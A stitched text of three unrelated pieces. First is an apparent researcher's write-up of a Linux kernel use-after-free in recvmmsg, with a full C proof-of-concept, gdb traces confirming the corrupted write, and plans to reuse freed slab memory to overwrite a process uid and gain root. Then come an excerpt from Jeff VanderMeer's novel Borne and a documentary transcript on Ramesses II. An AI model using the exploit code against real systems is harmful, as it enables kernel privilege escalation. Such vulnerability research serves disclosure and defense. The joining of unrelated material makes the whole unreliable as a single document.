Making recvmsg err So __sys_recvmmsg calls ___sys_recvmsg , which calls copy_msghdr_from_user(msg_sys, msg, &uaddr, &iov); and returns an error if it does: Listing 2: net/socket.c:2087@b6e4038 if (MSG_CMSG_COMPAT & flags) err = get_compat_msghdr(msg_sys, msg_compat, &uaddr, &iov); else err = copy_msghdr_from_user(msg_sys, msg, &uaddr, &iov); if (err < 0) return err; this looks promising (in copy_msghdr_from_user ): Listing 3: net/socket.c:1829@b6e4038 if (!access_ok(VERIFY_READ, umsg, sizeof(*umsg)) || __get_user(uaddr, &umsg->msg_name) || __get_user(kmsg->msg_namelen, &umsg->msg_namelen) || __get_user(uiov, &umsg->msg_iov) || __get_user(nr_segs, &umsg->msg_iovlen) || __get_user(kmsg->msg_control, &umsg->msg_control) || __get_user(kmsg->msg_controllen, &umsg->msg_controllen) || __get_user(kmsg->msg_flags, &umsg->msg_flags)) return -EFAULT; and the manpage says ERRORS These are some standard errors generated by the socket layer. Additional errors may be generated and returned from the underlying protocol modules; see their manual pages. … EFAULT The receive buffer pointer(s) point outside the process's address space. So I think we can send two valid messages, and have the second rcvmmsg header point to a bad receive buffer.
Closing the socket This should be as easy as closing the socket in question in a thread while another thread is in recvmmsg .
Trying it out We'll try triggering the panic from userspace. Listing 4: try_recvmmsg.c /* -*- compile-command: "gcc -Wall -Werror -pthread -static try_recvmmsg.c -o try_recvmmsg" -*- */ #define _GNU_SOURCE #include <errno.h> #include <sys/socket.h> #include <sys/types.h> #include <unistd.h> #include <stdio.h> #include <pthread.h> #define msg "hello!" struct thread_config { int fds[2]; char data[1024]; }; void *send_and_close_in_thread (void *arg) { struct thread_config *config = arg; /* send the messages */ for (size_t i = 0; i < 2; i++) { if (send(config->fds[0], msg, sizeof(msg), 0) != sizeof(msg)) { fprintf(stderr, "++ in send: %m
"); close(config->fds[0]); close(config->fds[1]); return NULL; } } /* wait for it to be received, then close things, so that the kernel doesn't EBADF */ while (config->data[0] != msg[0]);; close(config->fds[0]); close(config->fds[1]); return NULL; } int main (int argc, char **argv) { fprintf(stderr, "++ running!
"); struct thread_config config = {0}; if (socketpair(AF_LOCAL, SOCK_DGRAM, 0, config.fds)) { fprintf(stderr, "++ in socketpair: %m
"); return 1; } pthread_t thread = {0}; if (pthread_create(&thread, NULL, send_and_close_in_thread, &config)) { fprintf(stderr, "++ in pthread_create: %m
"); close(config.fds[0]); close(config.fds[1]); return 1; } /* receive the first message fine. try to receive the second message to a buffer out of our address space, so that ___sys_recvmsg will return EFAULT. */ recvmmsg(config.fds[1], (struct mmsghdr[2]) { { .msg_hdr = { .msg_iov = & (struct iovec) { .iov_base = &config.data, .iov_len = sizeof(config.data) }, .msg_iovlen = 1 } }, { .msg_hdr = { .msg_iov = & (struct iovec) { .iov_base = (void*) (~0), .iov_len = 1024, }, .msg_iovlen = 1 } }, }, 2, 0, & (struct timespec) { .tv_sec = 1 }); fprintf(stderr, "++ no panic? got %s.
", config.data); return 1; } The timing is a little tricky: we have a thread send messages, wait for the first one to be received, and then close the fds. If it closes before the call to __sys_recvmmsg , __sys_recvmmsg will return EBADF . If it closes after __sys_recvmmsg sets the error on the sk_buff , we won't get a use-after-free. Then the main thread tries to recvmmsg two messages, with a bad result buffer pointer on the second one. This way the second ___sys_recvmsg call errors, getting us on the code path we hit before. I checked this was the right code path like this (gdb connected to qemu ): gdb) b copy_msghdr_from_user Breakpoint 21 at 0xffffffff82668db0: file net/socket.c, line 1823. (gdb) c Continuing. [Switching to Thread 1] Thread 1 hit Breakpoint 21, copy_msghdr_from_user (kmsg=0xffff88006b737df8, umsg=0x7ffc232faa80, save_addr=0xffff88006b737ad0, iov=0xffff88006b737a90) at net/socket.c:1823 1823 { (gdb) finish Run till exit from #0 copy_msghdr_from_user (kmsg=0xffff88006b737df8, umsg=0x7ffc232faa80, save_addr=0xffff88006b737ad0, iov=0xffff88006b737a90) at net/socket.c:1823 0xffffffff82669b89 in ___sys_recvmsg (sock=0xffff88006b737e18, msg=0x1ffff1000d6e6003, msg_sys=0xffff88006b737df8, flags=225341379, nosec=<optimized out>) at net/socket.c:2091 2091 err = copy_msghdr_from_user(msg_sys, msg, &uaddr, &iov); Value returned is $59 = 0 (gdb) c Continuing. Thread 1 hit Breakpoint 21, copy_msghdr_from_user (kmsg=0xffff88006b737df8, umsg=0x7ffc232faac0, save_addr=0xffff88006b737ad0, iov=0xffff88006b737a90) at net/socket.c:1823 1823 { (gdb) finish Run till exit from #0 copy_msghdr_from_user (kmsg=0xffff88006b737df8, umsg=0x7ffc232faac0, save_addr=0xffff88006b737ad0, iov=0xffff88006b737a90) at net/socket.c:1823 0xffffffff82669b89 in ___sys_recvmsg (sock=0xffff88006b737b10, msg=0xffff88006b737b28, msg_sys=0xffff88006b737df8, flags=225341266, nosec=<optimized out>) at net/socket.c:2091 2091 err = copy_msghdr_from_user(msg_sys, msg, &uaddr, &iov); Value returned is $60 = -14 (gdb) b socket.c:2265 Breakpoint 22 at 0xffffffff8266b892: file net/socket.c, line 2265. (gdb) c Continuing. Thread 1 hit Breakpoint 22, __sys_recvmmsg (fd=<optimized out>, mmsg=0x7ffc232faac0, vlen=<optimized out>, flags=0, timeout=0xffff88006b737ee0) at net/socket.c:2265 2265 sock->sk->sk_err = -err; (gdb) After running it a gdb a lot in a VM built on b6e4038 (the commit immediately before the fix), I got this (my notes in /* ... */ inline): (gdb) b __sys_recvmmsg Breakpoint 12 at 0xffffffff8266b440: file net/socket.c, line 2171. (gdb) b socket.c:2265 /* sock->sk->sk_err = -err; */ Breakpoint 15 at 0xffffffff8266b892: file net/socket.c, line 2265. (gdb) c Continuing. Thread 2 hit Breakpoint 12, __sys_recvmmsg (fd=4, mmsg=0x7fff9f3ccc40, vlen=2, flags=0, timeout=0xffff88006c4e7ee0) at net/socket.c:2171 2171 { /* temporary break at sockfd_lookup_light so we can 'finish' in it to see if what it returns, as a cute trick to get around "<optimized out>" */ (gdb) tbreak sockfd_lookup_light Temporary breakpoint 20 at 0xffffffff82665940: file net/socket.c, line 450. (gdb) c Continuing. Thread 2 hit Temporary breakpoint 20, sockfd_lookup_light (fd=4, err=0xffff88006c4e7d38, fput_needed=0xffff88006c4e7cf8) at net/socket.c:450 450 { (gdb) finish Run till exit from #0 sockfd_lookup_light (fd=4, err=0xffff88006c4e7d38, fput_needed=0xffff88006c4e7cf8) at net/socket.c:450 __sys_recvmmsg (fd=4, mmsg=0x7fff9f3ccc40, vlen=<optimized out>, flags=0, timeout=0xffff88006c4e7ee0) at net/socket.c:2187 2187 if (!sock) Value returned is $50 = (struct socket *) 0xffff88006bf61e00 (gdb) c Continuing. Thread 2 hit Breakpoint 15, __sys_recvmmsg (fd=<optimized out>, mmsg=0x7fff9f3ccc80, vlen=<optimized out>, flags=0, timeout=0xffff88006c4e7ee0) at net/socket.c:2265 2265 sock->sk->sk_err = -err; /* !!! */ (gdb) p ((struct socket *)0xffff88006bf621c0)->file.f_count Cannot access memory at address 0x38 /* ->file has been zeroed out, meaning this has been freed and used for something else */ (gdb) p ((struct socket *)0xffff88006bf621c0)->sk $52 = (struct sock *) 0x0 <irq_stack_union> (gdb) p &(((struct socket *)0xffff88006bf621c0)->sk->sk_err) $53 = (int *) 0x1b0 <irq_stack_union+432> (gdb) So yes, we've got a use-after-free, and the kernel writes -err to the address at 0x1b0. Why does it only work sometimes? I think it's because the actual free and using it again happens outside of the fput_light call tree, so we're racing with another task or two in the kernel. But we can do it repeatedly until it does work; it doesn't take long.
Reallocation So we need to put some data where that struct socket used to be, such that sk is a pointer to a piece of data whose offset sk_err is where we would like to write. struct socket is part of struct socket_alloc : Listing 5: include/net/sock.h:1220@b6e4038 struct socket_alloc { struct socket socket; struct inode vfs_inode; }; They're allocated in sock_alloc / sock_alloc_inode using the slab allocator This means that they're grabbed from "caches", which are spread across multiple "slabs". Caches are homogenous type-wise, and e.g. each struct socket_alloc in a cache is pre-initialized. Some resources about the slab allocator: "Slab Allocation" on Wikipedia
"Anatomy of the Linux Slab Allocator" on IBM developerworks (apparently no longer available, so this is a link to an archive). I can think of a situation where we can use the slab allocator to get what we want to happen: The slabs that are part of the struct socket_alloc cache ( sock_inode_cache ) fill up.
cache ( ) fill up. We create a socketpair for our use-after-free that occupies the first and second slot in a new slab.
We close both elements of our socketpair. This causes the slab to be freed. We then immediately add some items (more than a slabfull) to another cache, with the pointer we want to write to at offset sk in each item.
in each item. This causes a new slab to be allocated for the second cache, which ideally will be exactly where our first cache used to be. So, the struct socket pointer in __sys_recvmmsg now points to an item we control in a new slab.
pointer in now points to an item we control in a new slab. The kernel code runs and sets the offset sk_err from our pointer to -err . Some things that make it easier: We can just repeatedly try it until it works, allocating an extra socket each time so that we progress through the slab.
/proc/slabinfo says that the sock_inode_cache slab has 12 objects per slab (in my vm; it seems to vary). This is an upper bound on the number of sockets we'll need to open to get an object at the beginning of the slab, assuming no other process is creating sockets. That sounds totally possible! What are we getting the kernel to write to? err is -14 in our case, so the kernel is writing 14 for us. If we control the pointer, though, we can line it up only partially with a field we want to overwrite, writing any portion of {0x0e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} anywhere we choose. Some ideas: Overwrite the uid of our process (and write 0xe to the byte before it), so that it has uid 0.
to the byte before it), so that it has uid 0. Overwrite a return address on the stack so that the kernel returns to code we choose. (This will be tricky with KASLR).
Overwrite a boolean on the stack to either 0 or 0xe (truthy) to get around some permission check. However, I'm not actually sure how aggressively slabs get reused by different caches, and I'm not sure of an easy way to find out. But! We can probably use a lot of memory to make that happen, or try freeing a couple dozen slabs at the same time.
Which cache do we try to write to? /proc/slabinfo says the sock_inode_cache has objects of size 640. This is kind of an inconvenient number, the only other objects with that size are also inode caches, and they don't have any user-controllable data at the offset of sk_err . But the kmalloc cache kmalloc-1024 has 1024-size items in the caches, and 16 of them fit in the cache. If we can find a path in the kernel that copies data we control into a kmalloc bigger than 460 + sk_err + sizeof(void *) = 896, we can get the kernel to set an int at an address we choose to 14 . But there are a lot of calls to kmalloc in the kernel, and finding a good one will take time. So I'm publishing this now; I'll write more when I find one. |
Jeff VanderMeer, author of the Southern Reach Trilogy, will release his next novel, Borne, on May 2, 2017. But to whet your appetite a little sooner than that, EW is thrilled to reveal an exclusive excerpt and the captivating cover right here.
According to publisher FSG, Borne’s mysterious plot is as follows: “… [A] young woman named Rachel survives as a scavenger in a ruined, dangerous city of the near future. The city is littered with discarded experiments from the Company—a bio-tech firm now seemingly derelict—and punished by the unpredictable attacks of a giant bear. From one of her scavenging missions, Rachel brings home Borne, who is little more than a green lump—plant or animal?—but exudes a strange charisma. Rachel feels a growing attachment to Borne, a protectiveness that she can ill-afford. It’s exactly the kind of vulnerability that will upend her precarious existence, unnerving her partner, Wick, and upsetting the delicate balance of their unforgiving city—possibly forever. And yet, little as she understands what or who Borne may be, she cannot give him up, even as Borne grows and changes… ‘He was born, but I had borne him.'”
Check out the cover and excerpt below:
Excerpt from Borne by Jeff VanderMeer
What I Found and How I Found It
I found Borne on a sunny gunmetal day when the giant bear Mord came roving near our home. To me, Borne was just salvage at first. I didn’t know what Borne would mean to us. I couldn’t know that he would change everything. Including me.
Borne was not much to look at that first time: dark purple and about the size of my fist, clinging to Mord’s fur like a half-closed stranded sea anemone. I found him only because, beacon-like, he strobed emerald green across the purple every half-minute or so.
Come close, I could smell the brine, rising in a wave, and for a moment there was no ruined city around me, no search for food and water, no roving gangs and escaped, altered creatures of unknown origin or intent. No mutilated, burned bodies dangling from broken streetlamps.
Instead, for a dangerous moment, this thing I’d found was from the tidal pools of my youth, before I’d come to the city. I could smell the pressed-flower twist of the salt and feel the wind, knew the chill of the water rippling over my feet. The long hunt for seashells, the gruff sound of my father’s voice, the upward lilt of my mother’s. The honey warmth of the sand engulfing my feet as I looked toward the horizon and the white sails of ships that told of visitors from beyond our island. If I had ever lived on an island. If that had ever been true.
The sun above the carious yellow of one of Mord’s eyes.
To find Borne, I had tracked Mord all morning, from the moment he had woken in the shadow of the Company building far to the south. The de facto ruler of our city had risen into the sky and come close to where I lay hidden, to slake his thirst by opening his great maw and scraping his muzzle across the polluted riverbed to the north. No one but Mord could drink from that river and live; the Company had made him that way. Then he sprang up into the blue again, a murderer light as a dandelion seed. When he found prey, a ways off to the east, under the scowl of rainless clouds, Mord dove from on high and relieved some screaming pieces of meat of their breath. Reduced them to a red mist, a roiling wave of the foulest breath imaginable. Sometimes the blood made him sneeze.
No one, not even Wick, knew why the Company hadn’t seen the day coming when Mord would transform from their watchdog to their doom—why they hadn’t tried to destroy Mord while they still held that power. Now it was too late, for Mord had not only become behemoth, but, by some magic of engineering extorted from the Company, he had learned to levitate, to fly.
By the time I had reached Mord’s resting place, he shuddered in earthquake-like belches of uneasy sleep, his nearest haunch rising high above me. Even on his side, Mord’s outline rose three stories. Drowsy from sated bloodlust, his thoughtless sprawl had leveled a building, and pieces of soft-brick rubble had mashed out to the sides, repurposed as Mord’s bed in slumber.
Mord had claws and fangs that could eviscerate, extinguish, quick as thought. His eyes, sometimes open even in dream, were vast, fly-encrusted beacons, spies for a mind that some believed worked on cosmic scales. But to me at his flanks, human flea, all he stood for was good scavenging. Mord destroyed and reimagined our broken city for reasons known only to him, yet he also replenished it in his thoughtless way.
When Mord wandered out seething from the lair he had hollowed out in the wounded side of the Company building, all kinds of treasures became tangled in that ropy, dirt-bathed fur, foul with carrion and chemicals. He gifted us with packets of anonymous meat, surplus from the Company, and sometimes I would find the corpses of unrecognizable animals, their skulls burst from internal pressure, eyes bright and bulging. If we were lucky, some of these treasures would fall from him in a steady rain during his shambling walks or his glides high above, and then we did not have to clamber onto him. On the best yet worst days, we found the beetles you could put in your ear, like the ones made by my partner Wick. As with life generally, you never knew, and so you followed, head down in genuflection, hoping Mord would provide.
Some of these things may have been placed there purposefully, as Wick always warned me. They could be traps. They could be misdirection. But I knew traps. I set traps myself. Wick’s “Be careful” I ignored as he knew I would when I set out each morning. The risk I took, for my own survival, was to bring back what I found to Wick, so he could go through them like an oracle through entrails. Sometimes I thought Mord brought these things to us out of a broken sense of responsibility to us, his playthings, his torture dolls; other times that the Company had put him up to it.
Many a scavenger, surveying that very flank I now contemplated, had misjudged the depth of Mord’s sleep and found themselves lifted up and, unable to hold on, fallen to their deaths . . . Mord unaware as he glided like a boulder over his hunting preserve, this city that has not yet earned back its name. For these reasons, I did not risk much more than exploratory missions along Mord’s flank. Seether. Theeber. Mord. His names were many and often miraculous to those who uttered them aloud.
So did Mord truly sleep or had he concocted a ruse in the spiraling toxic waste dump of his mind? Nothing that simple this time. Emboldened by Mord’s snores, which manifested as titanic tremors across the atlas of his body, I crept up farther on his haunch, while down below other scavengers used me as their canary. And there, entangled in the brown, coarse seaweed of Mord’s pelt, I stumbled upon Borne.
Borne lay softly humming to itself, the half-closed aperture at the top like a constantly dilating mouth, the spirals of flesh contracting, then expanding. “It” had not yet become “he.”
The closer I approached, the more Borne rose up through Mord’s fur, became more like a hybrid of sea anemone and squid: a sleek vase with rippling colors that strayed from purple toward deep blues and sea greens. Four vertical ridges slid up the sides of its warm and pulsating skin. The texture was smooth as water-worn stone, if a bit rubbery. It smelled of beach reeds on lazy summer afternoons and, beneath the sea salt, of passionflowers. Much later, I realized it would have smelled different to someone else, might even have appeared in a different form.
It didn’t really look like food and it wasn’t a memory beetle, but it wasn’t trash, either, and so I picked it up anyway. I don’t think I could have stopped myself.
Around me, Mord’s body rose and fell with the tremors of his breathing, and I bent at the knees to keep my balance. Snoring and palsying in sleep, acting out a psychotic dreamsong. Those fascinating eyes—so wide and yellow-black, as pitted as meteors or the cracked dome of the observatory to the west—were tight-closed, his massive head extended without care for any danger well to the east.
And there was Borne, defenseless.
The other scavengers, many the friends of an uneasy truce, now advanced up the side of Mord, emboldened, risking the forest of his dirty, his holy fur. I hid my find under my baggy shirt rather than in my satchel so that as they overtook me they could not see it or easily steal it.
Borne beat against my chest like a second heart.
“Borne.”
Names of people, of places, meant so little, and so we had stopped burdening others by seeking them. The map of the old horizon was like being haunted by a grotesque fairy tale, something that when voiced came out not as words but as sounds in the aftermath of an atrocity. Anonymity amongst all the wreckage of the Earth, this is what I sought. And a good pair of boots for when it got cold. And an old tin of soup half hidden in rubble. These things became blissful; how could we let names mean anything next to the power of that?
Yet still, I named him “Borne.” |
The Last Great Pharaoh
Requires free Download a printable version (PDF 199K)Requires free Adobe Acrobat
Keith David - Narrator: For over 3,000 years Egypt was ruled by Pharaohs. But in that last sweep of time, one pharaoh stands out. He would reign for 67 years, command the largest empire on earth and capture the imagination of the world. His name was Ramesses. Ramesses built a reputation that has resounded through history. It was a reputation deliberately crafted by the pharaoh himself. Ramesses was in fact a master of propaganda, projecting his power beyond the battlefield across the ancient world.
Narrator: This is the story of how one man created his own legend. The legend of Ramesses the Great, and how in the end, not even a legendary pharaoh could save Egypt's Golden Empire from destruction.
Narrator: In 1327 BC, a tragic event brought Egypt to the verge of crisis. The Pharaoh Tutankhamen had died. His death marked the end of Egypt's most powerful dynasty and the beginning of a period of great uncertainty. A great deal was at stake. In just two centuries, Egypt's royal family had built a massive empire stretching far beyond the Nile: from Syria in the north, to the gold fields of Nubia (modern day Sudan) in the south. A succession of powerful pharaohs had made Egypt the richest and most powerful nation in the world.
Nicole Douek, London University: When Tutankhamen died, the big problem was that there was no heir to the throne. So obviously Egypt must have been in a bad state. There was nobody there to take over, and things were in a state of flux.
Narrator: But now with the end of the great dynasty, a new enemy had emerged to challenge Egypt's might: the Hittites. The Hittites, living in what is now Turkey, were a more technologically advanced power than Egypt. Already they were pushing against the northern border of Egypt's empire. In 1279 BC, the fate of the threatened empire became the responsibility of a young boy, the new pharaoh of Egypt. He was crowned Ramesses, meaning 'Offspring of the Re'.
John Ray, Cambridge University: Ramesses comes to the throne fairly young, probably about the age of 15, and he has got an enormous task ahead of him. He looks back over the history of his country, a hundred years or so earlier, there were kings who would be the epitome of wealth, power and good taste. That's an enormous legacy to have to live up to.
Narrator: Ramesses had not come from a royal background. In fact, the boy king had been born a commoner.
Nicole Douek: His family was a military family, who were fairly new on the throne. They were certainly not from the royal line. They lived and worked for the kings of Egypt but they did not belong to the royal family.
Narrator: It was military prowess that had won his family its place on the throne. And it would be through military action that the young Ramesses would have to prove himself. To the north of Egypt, the Hittites were preparing for war. They intended to take advantage of the young and inexperienced boy king. Ramesses was about to face the biggest challenge of his life.
Nicole Douek: You have two super powers, each one trying to grab bits from the other. Eventually they are going to clash.
Narrator: By the fifth year of his reign, the massive Hittite army moved into Egypt's territory, advancing towards the town of Kadesh. The crossroads for trade with the near east Kadesh was of extreme strategic importance.
Professor Antonio Loprieno, University of California, Los Angeles: Ramesses II realises that the battle for the eye of Kadesh is the battle that will eventually decide which of these two empires will be the leaders of the world in the entire 13th century.
Narrator: Here was the opportunity Ramesses had been waiting for. It was a chance to prove his power and might to the world. There was only one problem. Egypt was not ready for war. Ramesses needed an army quickly. He mobilised, not just Egyptian soldiers, but other subjects of his empire including Nubians and Libyans. The primitive bronze weapons of the Egyptian forces were soon to be pitted against the Hittites iron armoury. The odds didn't look good.
Professor Kent Weeks, American University Cairo: I can't imagine what it must have been like to be a soldier in pharaoh's army. First, in all likelihood, you don't want to be there. You've been conscripted. Second, you're rather poorly fed, you're rather poorly clothed, you have a spear, or if you're lucky a bow and arrow, and that's it. You are expected to give your all.
Narrator: Soon the army was ready. The pharaoh's scribes also came along to record what the pharaoh was confident would be a glorious victory.
John Ray: He had the self-confidence that can go with being young. He thought that everything was doable. He thought that problems would not exist. He probably thought that compromises would not need to be made. You could just go out, do it and get it.
Narrator: Finally, the 20-year-old king set off with his army, leading an advanced guard out of the lush Nile Delta, into the scorching heat of the Sinai Desert. The figure he cut at the helm of his army was impressive.
Professor Kent Weeks: I can imagine that he had a great deal of power and authority. He was very strong and muscular. He was himself about 5 feet 8 or 9 inches tall. That is about four inches or so taller than the average Egyptian man. But he was taller nevertheless. He had red hair, which was a very unusual feature in ancient Egypt, and it set him apart.
Narrator: The Egyptian army surged across the desert through Israel and Lebanon. A few miles from Kadesh, Ramesses and his advance guard made camp and waited for the rest of the army to catch up.
Professor Kent Weeks: When Ramesses established this camp, he obviously was not thinking that there was going to be a battle any time soon. This was a time to stop, have a picnic, talk about life in general, and wait. Maybe a week, two weeks, three weeks later, some kind of a battle would take place, which of course the Egyptians knew they would win.
Narrator: But things weren't going to be so easy. We know from scribal accounts that the inexperienced pharaoh was about to be the victim of a dangerous trap.
Professor Kent Weeks: There were two Bedouin in the desert who were brought in by the pharaoh's soldiers, and interrogated. Ramesses, or whoever, said, "Where is the king of the Hittites?" They said, "Oh, he's way off there, don't worry about him, he's far away."
Narrator: What Ramesses didn't realise was that his informants were Hittite spies sent to mislead him.
Professor Kent Weeks: They released them, sent them off and said, "Oh great, let's set up camp and relax. We've got plenty of time before the battle begins."
Narrator: The pharaoh had fallen for a simple trick.
Professor Kent Weeks: Ramesses goofed seriously and badly to have taken those two Bedouins at their word. To have avoided sending out scouts to check the veracity of what they were saying, I think, was a terrible military mistake.
Narrator: Egyptian soldiers captured two more spies. This time, when Ramesses had them beaten and interrogated, he got a very different story. The Hittites were not hundreds of miles away. They were just across the river, ready to attack. In panic, the pharaoh sent word back for reinforcements. Suddenly the Hittites attacked. Ramesses' scribes left an eyewitness account of the battle.
Reconstruction voiceover: "The Hittite wretch, with his army, forded the river south of Kadesh, smashing into his majesty's army when it least expected an attack."
Professor Kent Weeks: The dust, the choking dust, the blood pouring onto the desert sands, these soldiers who looked death in the face at every moment in one of these battles must have had absolute hell.
Narrator: Egyptian troops fell before the Hittites' iron weapons. The army stood on the brink of defeat. Then, at the last minute, Ramesses' reinforcements arrived, and took the Hittites by surprise.
John Ray: Ramesses has been unbelievably lucky. And he ends up at the end of the day holding the battlefield. Actually, it was something of a goalless draw, snatched from defeat at the last minute by the arrival of the Egyptian equivalent of the US Cavalry.
Narrator: Ramesses had failed in his mission. The Hittites would be back and Egypt's trade routes and empire were still vulnerable.
Professor Antonio Loprieno: The battle of Kadesh did not go according to plan. At the most, it was a way for the Egyptians to prevent the Hittites from moving further south. But it was certainly not the flamboyant victory that Ramesses wanted.
Narrator: Ramesses, however, was determined to have his victory. Back in Egypt he would tell a far different story of the battle of Kadesh.
John Ray: What Ramesses does is say, "Right I'm going to rewrite history, so it's going to be the big gesture, the vain glorious boast. It's going to be the huge publicity machine. It's going to be the hieroglyphic equivalent of spin doctoring."
Narrator: Ramesses now masterminded an extraordinary propaganda campaign. He sent out legions of artisans to carve epic depictions of the battle of Kadesh on temple walls around the empire. The story he told begins truthfully but then veers off into fantasy. The young king claimed he had won a clear victory at Kadesh and it was not the Egyptian reinforcements, but he himself, who all alone had saved the day. In his version, he transformed himself from a gullible inexperienced commander into a god-like warrior. Every temple wall carried the same story.
Reconstruction voiceover: "His majesty leapt up, waging against them. He grabbed his weapons, and set off at a gallop, completely alone. His majesty was an unstoppable fighting force. Everything near him was ablaze with fire. All the foreign lands were blasted by his scorching breath.
Professor Kent Weeks: He claims that single-handedly after his troops had deserted him, he went into the field of battle slashing, swaying his sword back and forth, and decimating the enemies of Egypt.
Reconstruction voiceover: "He charged straight into the Hittite troops. The infantry and charioteers fell on their faces. His majesty struck them down and killed them where they stood."
Professor Kent Weeks: The claims of Ramesses II that his army had totally abandoned him, that he was left alone on a field of battle and single-handedly defeated the Hittites, of course is an utter load of rubbish.
Narrator: Despite his boasting, Ramesses knew that his army could not defeat the Hittites. He had to cut a deal. Secretly, Ramesses began to negotiate with the Hittites. After lengthy debate, Ramesses signed a treaty with the Hittite king. Ramesses the spin doctor was now Ramesses the statesman. A copy of the treaty is still preserved in the most holy of temples at Karnak, chiselled onto a wall.
Reconstruction voiceover: "I the great Hittite ruler am at peace with Ramesses the great King of Egypt, and enjoy his brotherhood. All the people of Egypt and all the Hittite people will be at peace like us forever."
Narrator: Covering issues of royal succession, extradition and amnesty for refugees, the treaty remains a model that is still followed today.
John Ray: Here you have the two super-powers of the day sitting down around a table and saying what we need to do is to build up a lasting peace - to build up an alliance that will mutually benefit both sides.
Narrator: To seal the treaty, Ramesses married one of the Hittite king's daughters.
John Ray: The Hittite princess was part of the terms of the peace treaty. She was, if you like, the cement in the treaty. She is brought into the presence of Ramesses and therefore by extension into the Egyptian empire.
Narrator: The Hittite princess was brought to Egypt's new capital, located in the Nile Delta in northern Egypt. It was called Per Ramesses, meaning the House of Ramesses. Far from the old aristocracy's centre of power in Thebes, Per Ramesses was carefully situated in the north to keep an eye on the Hittites. It was to be a new capital for a new regime.
John Ray: This is the Brasilia of ancient Egypt. This was the new capital. This was something that was going to be the beginning of a regeneration of the country. He is saying, "I am a new man, this is a new Egypt, and the traditional aristocracy had just better come to terms with this."
Narrator: On the banks of the Nile, Ramesses adorned his capital with all the treasures the empire had to offer. Eyewitnesses tell of the lushness and opulence unsurpassed in Egypt.
Reconstruction voiceover: "I have reached Per Ramesses. It seems like an amazing place - a beautiful area unlike any other. Its pools are alive with fish, and its lakes are covered in ducks. Its gardens are lush with vegetation. From the riverbanks, comes fruit as sweet as honey. Everyone who lives there is happy, and no one has any regrets. Even the lowliest person there lives in style."
Narrator: Not content with glorifying himself in this world, Ramesses turned his attention to the afterlife. Far from Per Ramesses, deep in the south of Egypt was a place dedicated to securing his immortality. Hidden behind the mountain that looms over the Valley of the Kings, was the carefully guarded village of Deir el-Medineh.
John Ray: They lived in a self-contained community that was quite tightly policed because they had secrets, which were not meant to be divulged to the public at large. The workers can be watched on their journey from the village to their point of work, therefore they can't be accosted. They can't be asked for information.
Narrator: This security was vital, because these villagers were the pharaohs' tomb builders. They held the key to the greatest secrets of the empire - the locations of the royal tombs. Buried in the hills around them lay the treasures of the richest and most powerful kings in history. The mountain, which the tomb builders climbed over to work each day was literally a mountain of gold. At work, these men not only dug the pharaoh's tombs out of the mountain, they also were designers, artists and painters. They produced exquisite scenes and hieroglyphic texts on tomb walls - spells and rituals that were essential for guiding the pharaoh to the afterlife.
Professor Kent Weeks: What could be more important? After all, you were ensuring that the pharaohs would be able to travel from this life to the next. One mistake in those hieroglyphic texts, one error in those scenes and there might have to be a detour - and the king wouldn't make it from this life to the next.
Narrator: But Ramesses did not intend to spend the afterlife alone. The greatest grip of the villagers at Deir el-Medineh was not in Ramesses' own tomb, but in the tomb of the most important woman in his life. In 1312, Ramesses married an Egyptian noblewoman, Nefertari, and made her his chief wife. For Ramesses, the building of her tomb was to be the ultimate tribute to his greatest love.
Nicole Douek: It is really the very best, possibly the last of the marvellous tombs of ancient Egypt. The reliefs, the finest of the drawings, the ways the colours were applied, almost indicates a love affair between the man who did it, and the figure of the queen.
Reconstruction voiceover: "My love is unique; no one can rival her, for she is the most beautiful woman alive...Gold is nothing compared to her arms, and her fingers are like the lotus flowers. Her buttocks are full, but her waist is narrow. Just by passing, she has stolen away my heart".
Nicole Douek: The tomb is decorated in the most exquisite taste of the time. Some snippets of life then have appeared now. They discovered a thumb imprint of one of the ancient workmen. He must have held his hand to the ceiling while he was painting, took his fingers away and forgot to repaint and retouch that part. So there is the fingerprint of one of the ancient workmen still there.
Narrator: The villagers who once walked these streets have left an incredibly detailed picture of daily life during the reign of Ramesses. Written on stone flakes and pottery chards that littered the remains of the village, archaeologists have found the tomb builders' notes and correspondence. Laundry lists, recipes, news, poems and love letters.
Professor Kent Weeks: It is an archaeological goldmine - a cultural goldmine. The people of Deir el-Medineh were inveterate record keepers. They kept tabs on everything, and they left it behind on ostraca, the ancient Egyptian equivalent of a 'post-it' note I suppose. These records are about who was ill on which day and who was going on holiday. They covered when the in-laws were coming to visit; whose son went out carousing, got drunk and did unspeakable things to the girl next door. All of this kind of thing is there, and in glorious, wonderful details.
Reconstruction voiceover: "Why are you treating me so badly? I'm no better than a donkey in your eyes."
Reconstruction voiceover: "If, God forbid, I was the type who couldn't hold their drink, then you'd be right not to invite me, but I'm just someone who's a bit short of beer in his own house."
Reconstruction voiceover: "When it's feeding time you fetch an ox, but when there's beer you never invite me. You're only after me when there's work to be done."
Narrator: When they weren't working on the royal tombs, the villagers used their unique skills on their own tombs. Instead of the formal religious scenes of the royal tombs, their tombs portrayed pictures of the afterlife that the tomb builders hoped for. These were idealised versions of everyday life.
John Ray: In their spare time, the family would make their own tomb and add to the decoration. Probably at dinner parties, the question would be "How is the tomb getting on then?"
Narrator: From the paintings and writings left behind by Ramesses' villagers, we know who lived in each house and even the intimate details of their relationships. Nowhere else in the ancient world can we listen to ordinary people and eavesdrop on their scandals and gossip.
John Ray: There was a foreman called Paneb, whom we know a lot about because we have a whole series of complaints about him. He did various things. He stole equipment from the Valley of the Kings. He embezzled the salary of some of his colleagues. He went around seducing the wives of villagers - presumably, when the villagers were out at work.
Narrator: Even Paneb's own son denounced him for his behaviour.
Reconstruction voiceover: "My father slept with Tiy while she was married to Kenna and with Hunro when she was with Paneb; after he had slept with Hunro, he even slept with her daughter."
Professor Kent Weeks: These people at Deir el-Medineh quite clearly are human beings. To read what they are writing, to see what they are doing - what they have in their homes, what kinds of drawings they have made, is to realise that we and they are truly kindred spirits.
Reconstruction voiceover: "You've been arguing with my mother and threatening to throw her out. Your mother never does anything for you."
Reconstruction voiceover: "I didn't tell you just what your wife has been up to, just for you to turn a blind eye to it. I'm going to make you face up to her whoring around."
Reconstruction voiceover: "Well, you told me to give him a job. I did exactly that, but he takes ages to bring a jug of water."
Reconstruction voiceover: "...You can't even get your wife pregnant. And another thing, you're the biggest miser around, you never give anyone anything."
Narrator: By the time Ramesses was in his forties, his tomb had been finished for several years. With the average Egyptian life expectancy at around 35 years, Ramesses must have known that he was already living on borrowed time. He focused his attention on securing his legacy, siring children to succeed him on the golden throne. As well as his chief wife, Nefertari, Ramesses had a number of minor wives in his harem. He even married three of his own daughters.
